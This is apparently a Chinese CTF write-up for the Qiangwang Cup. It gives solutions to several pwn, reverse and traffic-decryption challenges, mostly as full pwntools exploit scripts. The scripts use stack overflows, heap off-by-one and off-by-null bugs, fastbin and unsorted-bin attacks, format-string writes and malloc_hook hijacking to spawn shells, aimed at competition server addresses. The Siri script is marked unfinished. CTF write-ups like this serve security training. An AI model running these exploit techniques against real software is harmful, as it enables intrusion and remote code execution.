强网先锋

babymessage

栈溢出漏洞,通过0x10的输入修改rbp,通过判断,使得输入的大小改为0x100,修改返回地址,调用puts泄露libc地址,由于rbp改变,在进行一遍覆盖rbp,覆盖返回地址即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# encoding=utf-8
from pwn import *

file_path = "./babymessage"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x400963\\n")
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.27/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('123.56.170.202', 21342)
libc = ELF('./libc-2.27.so')
one_gadget = 0x0

def leave_name(name):
p.sendlineafter("choice: \\n", "1")
p.sendafter("name: \\n", name)

def leave_message(message):
p.sendlineafter("choice: \\n", "2")
p.sendafter("message: \\n", message)

def show_message():
p.sendlineafter("choice: \\n", "3")

def shut():
p.sendlineafter("choice: \\n", "4")

p_rdi_r = 0x400ac3
p_rsi_r15_r = 0x400ac1
call_write = 0x400904
call_puts = 0x40087C
main_address = 0x4009DD
mm_address = 0x6010c0
leave_message_address = 0x400821
jmp_rbp = 0x0000000000400d23
leave_ret = 0x0000000000400886
work_address = 0x40091A

leave_name("9999")
leave_message(p64(leave_ret) + p64(mm_address + 0x18-0x4))
leave_message(p64(leave_ret) + p64(mm_address + 0x8) + p64(p_rdi_r) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(work_address))
p.recvline()
p.recvline()
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) - libc.sym['read']
log.success("libc address {}".format(hex(libc.address)))
leave_message(b"b"*0x8 + p64(mm_address + 0x18-0x4))
leave_message(p64(leave_ret) + p64(mm_address + 0x18-0x4) + p64(p_rdi_r) + p64(libc.search(b"/bin/sh").__next__()) + p64(p_rsi_r15_r) + p64(0)*2 + p64(libc.sym['system']))
p.interactive()

babynotes

reset申请0x18大小的堆块,之后进行strcpy的时候存在off-by-one漏洞

首先通过unsorted bin 残留的地址泄露出libc基址,接着利用off-by-one漏洞造成chunk extend,释放之后再次申请就可以直接控制下一个chunkfd指针,fastbin attack覆写malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# encoding=utf-8
from pwn import *

file_path = "./babynotes"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x400F67")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0xf1207

else:
p = remote('123.56.170.202', 43121)
libc = ELF('libc-2.23.so')
one_gadget = 0xf1207

bbs_address = 0x6020c0

def regesit(name, motto, age):
p.sendafter("name: \\n", name)
p.sendafter("motto: \\n", motto)
p.sendlineafter("age: \\n", str(age))

def add(index, size):
p.sendlineafter(">> ", "1")
p.sendlineafter("Input index: ", str(index))
p.sendlineafter("Input note size: ", str(size))

def show(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("Input index: ", str(index))
p.recvuntil("Note {}: ".format(str(index)))

def delete(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("Input index: ", str(index))

def edit(index, content):
p.sendlineafter(">> ", "4")
p.sendlineafter("Input index: ", str(index))
p.sendafter("Input your note: ", content)

def reset(name, motto, age):
p.sendlineafter(">> ", "5")
regesit(name, motto, age)

def check():
p.sendlineafter(">> ", "6")

def shut():
p.sendlineafter(">> ", "7")

regesit("12", "12", bbs_address)
add(0, 0x18)
delete(0)
add(2, 0xd0)
add(5, 0x28)
delete(2)
add(1, 0x68)
add(0, 0x68)
delete(5)
show(0)
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) - 88 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))

reset(cyclic(0x18), cyclic(0x20), 0xe1)
delete(1)
add(1, 0xd0)
delete(0)
edit(1, cyclic(0x68) + p64(0x71) + p64(libc.sym['__malloc_hook'] - 0x23))
add(0, 0x68)
add(2, 0x68)
edit(2, b"\\x00"*3 + p64(0)*2 + p64(one_gadget + libc.address) + b"\\n")
add(3, 0x30)

p.interactive()

Just_a_Game

edit处存在一个0x8字节的溢出,利用house of orange释放top chunk,泄露libc基址。申请0x1000的堆块的时候又获得了一次edit的机会

case 5处的判断好像没有用,写入__malloc_hook-0x60的地址可以通过,因此利用edit处的数组越界,对malloc_hook进行改写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# encoding=utf-8
from pwn import *

file_path = "./Just_a_Galgame"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, "b *0x04012C2")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x10a45c

else:
p = remote('123.56.170.202', 52114)
libc = ELF('libc.so.6')
one_gadget = 0x10a45c

def add():
p.sendlineafter(">> ", "1")

def edit(index, content):
p.sendlineafter(">> ", "2")
p.sendlineafter("idx >> ", str(index))
p.sendafter("movie name >> ", content)

def malloc_big_chunk():
p.sendlineafter(">> ", "3")

def show_all():
p.sendlineafter(">> ", "4")

def shut(content):
p.sendlineafter(">> ", "5")
p.sendafter("a while? QAQ\\n", content)

buf_list = 0x404060

add()
edit(0, p64(0)+p64(0xd41))
malloc_big_chunk()
add()
show_all()
p.recvuntil("1: ")
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) - 0x660 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))

shut(p64(libc.sym['__malloc_hook'] - 0x60))

index = int((0x4040A0-0x404060)/8)

edit(index, p64(one_gadget + libc.address))

add()

p.interactive()

Siri

这题目难顶,一开始写返回地址用的是rop链,调system,发现rsi控制不了,字符串超了。之后改用gadget,眼睁睁看着进了systemexecve感觉也没啥问题,难顶,最后队友搞出来了。

后面填坑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# encoding=utf-8
from pwn import *

file_path = "./Siri"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path], env={"LD_PRELOAD":"./libc.so.6"})
gdb.attach(p, 'b *0x5555555552B1\\nb *0x555555555417')
libc = ELF('./libc.so.6')
one_gadget = 0x10a45c
p_rdi_r = 0x10a45c

else:
p = remote('123.56.170.202', 12124)
libc = ELF('libc.so.6')
one_gadget = 0x10a45c
p_rdi_r = 0x10a45c

str_head = "Remind me to "
p.sendlineafter(">>> ", "Hey Siri!")
payload = "%80$p %81$p %82$p %83$p"
# payload = "%08x "*0x10
p.sendlineafter(">>> ", str_head + payload)
p.recvuntil("remind you to ")
stack_address = int(p.recvuntil(" ", drop=True), 16) - 0x1b0
canary = int(p.recvuntil(" ", drop=True), 16)
elf.address = int(p.recvuntil(" ", drop=True), 16) - 0x14d0
libc.address = int(p.recvline().strip(b"\\n"), 16) - 231 - libc.sym['__libc_start_main']

strncmp_got = elf.got['strncmp']
system_address = libc.sym['system']
log.success("strncmp address {}".format(hex(strncmp_got)))
log.success("system address {}".format(hex(system_address)))
binsh_address = libc.search(b"/bin/sh").__next__()
p_rdi_r += libc.address
one_gadget += libc.address
log.success("r rdi ret {}".format(hex(p_rdi_r)))
log.success("one gadget {}".format(hex(one_gadget)))

payload = str_head

# 0x7ffff7a373c2
payload += "%{}c%57$hn".format(0xffff & ((one_gadget & 0xffff) - 27))
payload += "%{}c%58$hn".format(0xffff & (((one_gadget >> 16) & 0xffff) - (one_gadget & 0xffff)))
payload += "%{}c%59$hn".format(0xffff & (((one_gadget >> 32) & 0xffff) - (one_gadget >> 16) & 0xffff))
payload += "%{}c%60$hn".format(0xffff & (((one_gadget >> 48) & 0xffff) - (one_gadget >> 32) & 0xffff))

payload = payload.ljust(0x48, "a").encode()

payload += p64(stack_address + 0x8)
payload += p64(stack_address + 0x8 + 2)
payload += p64(stack_address + 0x8 + 4)
payload += p64(stack_address + 0x8 + 6)

# # 0x7ffff7a3752b
# payload += "%{}c%78$n".format((system_address >> 32 & 0xffff) - 27)
#
# payload += "%{}c%68$hn".format(0xffff & ((p_rdi_r & 0xffff) - (system_address >> 32 & 0xffff) ))
# payload += "%{}c%69$hn".format(0xffff & (((p_rdi_r >> 16) & 0xffff) - (p_rdi_r & 0xffff)))
# payload += "%{}c%70$hn".format(0xffff & (((p_rdi_r >> 32) & 0xffff) - (p_rdi_r >> 16) & 0xffff))
# payload += "%{}c%71$hn".format(0xffff & (((p_rdi_r >> 48) & 0xffff) - (p_rdi_r >> 32) & 0xffff))
#
# # 0x7ffff7b990be
# payload += "%{}c%72$hn".format(0xffff & (binsh_address & 0xffff) - (p_rdi_r >> 48) & 0xffff)
# payload += "%{}c%73$hn".format(0xffff & ((binsh_address >> 16) & 0xffff) - (binsh_address & 0xffff))
# payload += "%{}c%74$hn".format(0xffff & (((binsh_address >> 32) & 0xffff) - ((binsh_address >> 16) & 0xffff)))
# payload += "%{}c%75$hn".format(0xffff & (((binsh_address >> 48) & 0xffff) - ((binsh_address >> 32) & 0xffff)))
#
# # 0x7ffff7a74c67
# payload += "%{}c%76$hn".format(0xffff & ((system_address & 0xffff) - (binsh_address >> 48) & 0xffff))
# payload += "%{}c%77$hn".format(0xffff & (((system_address >> 16) & 0xffff) - (system_address & 0xffff)))
#
# payload = payload.ljust(0xa0, "a").encode()
# payload += p64(stack_address + 0x8)
# payload += p64(stack_address + 0x8 + 2)
# payload += p64(stack_address + 0x8 + 4)
# payload += p64(stack_address + 0x8 + 6)
# payload += p64(stack_address + 0x10)
# payload += p64(stack_address + 0x10 + 2)
# payload += p64(stack_address + 0x10 + 4)
# payload += p64(stack_address + 0x10 + 6)
# payload += p64(stack_address + 0x18)
# payload += p64(stack_address + 0x18 + 2)
# payload += p64(stack_address + 0x18 + 4)
# payload = payload.ljust(0x100, b"\\x00")
# payload = "%08x "*0x10
p.sendlineafter(">>> ", "Hey Siri!")
p.sendlineafter(">>> ", payload)
log.success("system address {}".format(hex(system_address)))
log.success("bin sh address {}".format(hex(binsh_address)))
log.success("stack address {}".format(hex(stack_address)))
log.success("binary base {}".format(hex(elf.address)))
log.success("canary {}".format(hex(canary)))
log.success("libc address {}".format(hex(libc.address)))
p.interactive()

红方辅助

从客户端来看首先是发送的G,然后服务端返回btime,客户端对数据进行加密之后发送boffsetenc_data

加密函数中随机产生的数据,如fn,salt都包含在加密数据的起始位置,如果可以得到这些随机数据既可以对数据流进行解密

题目给出了与服务端进行通信的数据流,使用WiresharkTCP流追踪得到完整的通信过程,但是最后一次的通信缺少pcount,自行添加即可

解密之后的数据可以通过sublime缩略图看,不然e,8分不清

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# encoding=utf-8
from pwn import *
import struct
import binascii
import multiprocessing
import random
from hashlib import md5, sha256

def get_salt(data):
return int((md5(sha256(data.encode()).digest())).hexdigest(), 16) % 256

def get_bytes(data):
length = len(data)
new_data = b""
index = 0
while index < length:
new_data += p8(int(data[index:index + 2], 16))
index += 2
return new_data

def encrypt(data, btime, count):
funcs = {
"0": lambda x, y: x - y,
"1": lambda x, y: x + y,
"2": lambda x, y: x ^ y
}

offset = {
"0": 0xefffff,
"1": 0xefffff,
"2": 0xffffff,
}
length = len(data) + 10
fn = str(random.randint(0, 65535) % 3).encode()
salt = get_salt(data)

t = struct.unpack("<i", btime)[0]
boffset = offset[fn.decode()]
t -= boffset
t = struct.pack("<i", t)

enc = struct.pack("<IIcB", count, length, fn, salt)
i = 0
for c in data:
enc += chr((funcs[fn.decode()](ord(c) ^ ord(t[i]), salt) % 256))
i = (i + 1) % 4

return boffset, enc

fn_di = ["001",
"011",
"111",
"010",
"100",
"110",
"000",
"111"]

def decrypt(btime, boffset, data, pcount):
funcs = {
b"0": lambda x, y: x + y,
b"1": lambda x, y: x - y,
b"2": lambda x, y: x ^ y
}

offset = {
"0": 0xefffff,
"1": 0xefffff,
"2": 0xffffff,
}
length = len(data) - 10
t = btime - boffset
t = struct.pack("<i", t)
count, length, fn, salt = struct.unpack("<IIcB", data[:10])
# print(count, hex(length), fn, salt, t)
res = ""
data = data[10:]
# print(data)

for index, c in enumerate(data):
res += chr((funcs[fn](c, salt) % 256) ^ t[index % 4])
return res

def big_small_end_convert(data):
return binascii.hexlify(binascii.unhexlify(data)[::-1])

def total_decrypt():
res = dict()
f = open("./encdata.txt", "rb")
rf = open("./dedata.txt", "w")
readlines = f.readlines()
f.close()
lines_num = len(readlines)
index = 0
while index < lines_num:
btime = struct.unpack("<i", get_bytes(readlines[index + 1].strip(b"\\r\\n")))[0]
boffset = struct.unpack("<i", get_bytes(readlines[index + 2].strip(b"\\r\\n")))[0]
data = get_bytes(readlines[index + 3].strip(b"\\r\\n"))
pcount = struct.unpack("<i", get_bytes(readlines[index + 4].strip(b"\\r\\n")))[0]

# print(btime, boffset, pcount)

de_data = decrypt(btime, boffset, data, pcount)

index += 5

rf.writelines(de_data + "\\n")
rf.close()

if __name__ == "__main__":
total_decrypt()

侧防

12f0函数中进行的操作逆向,该操作首先是依次与给定数组进行异或+'A',然后四位一组进行右移一位。

出来的flag少了后面两位猜测为 score}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# encoding=utf-8

from pwn import *

# ans = "4F4243684E76495C65775554647C784C78796974435A466D497D57664E44714C49276123981629594390000"
ans1 = "4F4243684E76495C65775554647C784C"
ans2 = "78796974435A466D497D57664E44714C"
ans3 = "4462655E57505C4F"

flag1 = []
flag2 = []
flag3 = []

byt = [0x51, 0x57, 0x42, 0x6c, 0x6f, 0x67, 0x73]

str_len = len(ans1) + len(ans2) + len(ans3)
print(str_len)
i = len(ans1)
while i > 0:
flag1.append(int(ans1[i - 2:i], 16))
i -= 2

i = len(ans2)
while i > 0:
flag1.append(int(ans2[i - 2:i], 16))
i -= 2

i = len(ans3)
print(i)
while i > 0:
flag1.append(int(ans3[i - 2:i], 16))
i -= 2

print("flag1", flag1)
i = 0
while i < int(str_len / 2):
tmp_flag = flag1[i:i + 4]
print(tmp_flag)
for index, j in enumerate(tmp_flag):
flag2.append(tmp_flag[(index + 1) % 4])
i += 4
print("flag2", flag2)
for index, i in enumerate(flag2):
flag3.append((i - 0x41) ^ byt[index % 7])

print("flag 3", flag3)
print(len(flag3))
print("flag: ")
l = 0
for i in flag3:
l += 1
try:
print(chr(i), end="")
except:
print()
print(l)
exit()
print()

Pwn

direct

edit函数中offset为有符号的int类型,输入负值,导致可以任意的地址后向写

不存在输出函数和puts,printf。没办法修改stdout泄露libc地址,这是注意到在output_dir中存在输出,也就是调用readdir函数,输出了返回指针+0x13指向的位置。

sysdeps/posix/readdir.c中找到了该函数的源码,并且在调试中发现opendir会申请一块0x8040大小的堆块存储DIR结构体,而readdir就是根据该结构体中的数据进行操作的,会从fd指向的文件中读取max大小的字节,存储到DIR+0x30的位置。注意到返回的指针的操作

1
2
3
4
5
6
7
8
9
10
11
if (dirp->offset >= dirp->size)
{
//读取数据
dirp->size = (size_t) bytes;

/* Reset the offset into the buffer. */
dirp->offset = 0;
}

dp = (DIRENT_TYPE *) &dirp->data[dirp->offset];

如果将offset的大小改写为小于size,此时offset就不会清零,也就是会返回指定位置的内存指针。即如果控制了offset,size就可以得到想要的高地址处的指针。

opendir只有在调用的时候才会申请内存,那么在函数调用之后再次申请一块chunk,对该chunk进行edit,后向任意写,就可以改写DIR结构体中的数据,控制readdir返回的内存指针,泄露libc地址。

得到libc地址之后,之后利用后向任意写改写fastbinfd指针,覆写malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# encoding=utf-8
from pwn import *

file_path = "./direct"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
gdb.attach(p, 'b *0x555555554F4E')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x10a45c

else:
p = remote('106.14.214.3', 1912)
libc = ELF('libc-2.27.so')
one_gadget = 0x10a45c

def add(index, size):
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Index: ", str(index))
p.sendlineafter("Size: ", str(size))

def edit(index, offset, size, content):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index: ", str(index))
p.sendlineafter("Offset: ", str(offset))
p.sendlineafter("Size: ", str(size))
p.sendafter("Content: ", content)

def delete(index):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index: ", str(index))

def open_dir():
p.sendlineafter("Your choice: ", "4")

def put_dir():
p.sendlineafter("Your choice: ", "5")

for i in range(7):
add(i, 0xd0)

log.success("tcache has filled")

dirp_address = 0x6020E8
dir_chunk_size = 0x8040
add(7, 0x68)
open_dir()
add(8, 0xd0)
add(9, 0x68)
add(10, 0x68)
for i in range(7):
delete(i)
delete(8)
offset = dir_chunk_size - 0x40 + 0x10 - 0x13 + 0x8
payload = p64(3) + p64(0x8000) + p64(offset + 0x10) + p64(offset)
edit(9, -(dir_chunk_size + 0xe0), 0x60, payload)
put_dir()
p.recvuntil("Filename: ")
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) - 96 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))
add(0, 0x68)
add(1, 0x68)
delete(0)
edit(1, -(0x70), 0x40, p64(libc.sym['__malloc_hook']))
add(2, 0x68)
add(3, 0x68)
edit(3, 0, 0x10, p64(libc.address + one_gadget))
add(4, 0x68)
p.interactive()

easypwn

off-by-null漏洞,覆盖下一个堆块的大小的第一字节为\\x00,从而造成堆重叠,覆盖unsorted binbk指针,利用unsorted bin attack 覆写global_max_fast,使得所有的堆块分配到fastbin中,在利用fastbin attack覆写stdout泄露libc地址,覆写malloc_hook getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# encoding=utf-8
from pwn import *

file_path = "easypwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path], env={"LD_PRELOAD":"./libc-2.23.so"})
gdb.attach(p, "b *0x555555554F97")
libc = ELF('libc-2.23.so')
# p = process([file_path])
# gdb.attach(p, "b *0x555555554F97")
# libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6')
one_gadget = 0xf0364
# global_max_fast = b"\\x38\\x78"
# stderr_157 = b"\\xdd\\x15"
global_max_fast = b"\\xe8\\x77"
# global_max_fast = b"\\x78\\x38"
stderr_157 = b"\\xdd\\x65"

else:
p = remote('39.101.184.181', 10000)
libc = ELF('libc-easypwn.so')
one_gadget = 0xf1207
global_max_fast = b"\\xe8\\x77"
# global_max_fast = b"\\x78\\x38"
stderr_157 = b"\\xdd\\x65"

def add(size):
p.sendlineafter("Your choice:\\n", "1")
p.sendlineafter("size:\\n", str(size))

def delete(index):
p.sendlineafter("Your choice:\\n", "3")
p.sendlineafter("idx:\\n", str(index))

def edit(index, content):
p.sendlineafter("Your choice:\\n", "2")
p.sendlineafter("idx:\\n", str(index))
p.sendafter("content:\\n", content)

if debug:
add(0x28)
add(0x138)
add(0x168)
edit(1, cyclic(0xf0) +p64(0x100) + p64(0x41) + b"\\n")
delete(1)
edit(0, cyclic(0x28))
add(0x18) # 1
add(0x68) # 3

delete(1)
delete(2)

add(0x68) # 1
add(0x68) # 2
add(0x68) # 4
add(0x68) # 5
edit(5, cyclic(0x10) + p64(0) + p64(0x21) + cyclic(0x18) + p64(0x21) + b"\\n")
edit(2, cyclic(0x10) + p64(0x20) + p64(0x71) + b"\\n")
delete(1)
edit(4, b"a"*0x18 + p64(0x71) + p64(0) + global_max_fast + b"\\n")
add(0x68)

log.success("global max fast has changed")
delete(2)
delete(1)
edit(3, stderr_157 + b"\\n")
edit(4, cyclic(0x18) + p64(0x71) + b"\\x50\\n")
add(0x68)
add(0x68)
add(0x68)
edit(6, b"\\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\\x00\\n")

p.recv(0x40)
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) + 0x20 - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))
else:
while True:
try:
add(0x28)
add(0x138)
add(0x168)
edit(1, cyclic(0xf0) +p64(0x100) + p64(0x41) + b"\\n")
delete(1)
edit(0, cyclic(0x28))
add(0x18) # 1
add(0x68) # 3

delete(1)
delete(2)

add(0x68) # 1
add(0x68) # 2
add(0x68) # 4
add(0x68) # 5
edit(5, cyclic(0x10) + p64(0) + p64(0x21) + cyclic(0x18) + p64(0x21) + b"\\n")
edit(2, cyclic(0x10) + p64(0x20) + p64(0x71) + b"\\n")
delete(1)
edit(4, b"a"*0x18 + p64(0x71) + p64(0) + global_max_fast + b"\\n")
add(0x68)

log.success("global max fast has changed")
delete(2)
delete(1)
edit(3, stderr_157 + b"\\n")
edit(4, cyclic(0x18) + p64(0x71) + b"\\x50\\n")
add(0x68)
add(0x68)
add(0x68)
edit(6, b"\\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\\x00\\n")

p.recv(0x40)
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) + 0x20 - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))
break
except:
p.close()
p = remote('39.101.184.181', 10000)

delete(3)
edit(2, p64(libc.sym['__malloc_hook'] - 0x23) + b"\\n")
add(0x68) # 3
add(0x68)
edit(7, b"\\x00"*3 + p64(0)*2 + p64(one_gadget + libc.address) + b"\\n")

delete(2)
delete(3)

p.interactive()

oldschool

c文件编译生成的二进制文件的反汇编结果与mmap_edit中的判断不同,导致通过mmap_edit进行前向任意地址读写

首先通过unsorted bin中残留的地址泄露libc,利用任意地址写改写malloc_hook

发现mmap的地址是具有可执行权限的,malloc_hook指向mmap写的shell code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# encoding=utf-8
from pwn import *

file_path = "./oldschool"
context.arch = "i386"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b*0x56555754")
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('106.14.214.3', 2333)
libc = ELF('./libc-2.27.so')
one_gadget = 0x0

def add(index, size):
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("Index: ", str(index))
p.sendlineafter("Size: ", str(size))

def delete(index):
p.sendlineafter("Your choice: ", "4")
p.sendlineafter("Index: ", str(index))

def edit(index, content):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index: ", str(index))
p.sendafter("Content: ", content)

def show(index):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index: ", str(index))

def shut():
p.sendlineafter("Your choice: ", "5")

def mmap_allocate(index):
p.sendlineafter("Your choice: ", "6")
p.sendlineafter("you want to start: ", str(index))

def mmap_edit(index, value):
p.sendlineafter("Your choice: ", "7")
p.sendlineafter("Index: ", str(index))
p.sendlineafter("Value: ", str(value))

def mmap_delete():
p.sendlineafter("Your choice: ", "8")

mmap_start = 0xe0000000

for i in range(7):
add(i, 0xd0)

mmap_allocate(0)
shell = asm(shellcraft.sh())
shell = shell.ljust(int((len(shell) + 4)/4)*4, b"\\x90")
shell_len = len(shell)
i = 0
index = 0
while i < shell_len:
mmap_edit(index, u32(shell[i:i+4]))
i += 4
index += 1

log.success("shell and tcache finished")

add(7, 0x268)
add(8, 0xd0)
for i in range(7):
delete(i)
add(0, 0x68)
delete(8)
add(1, 0x68)
add(2, 0x68)
show(1)
p.recvuntil("Content: ")
libc.address = u32(p.recv(4).ljust(4, b"\\x00")) - 0xa8 - libc.sym['__malloc_hook'] - 0x18
log.success("libc address {}".format(hex(libc.address)))

malloc_hook_address = libc.sym['__malloc_hook']
idx = int((malloc_hook_address - mmap_start)/4)
mmap_edit(idx, mmap_start)

add(3, 0x68)
p.interactive()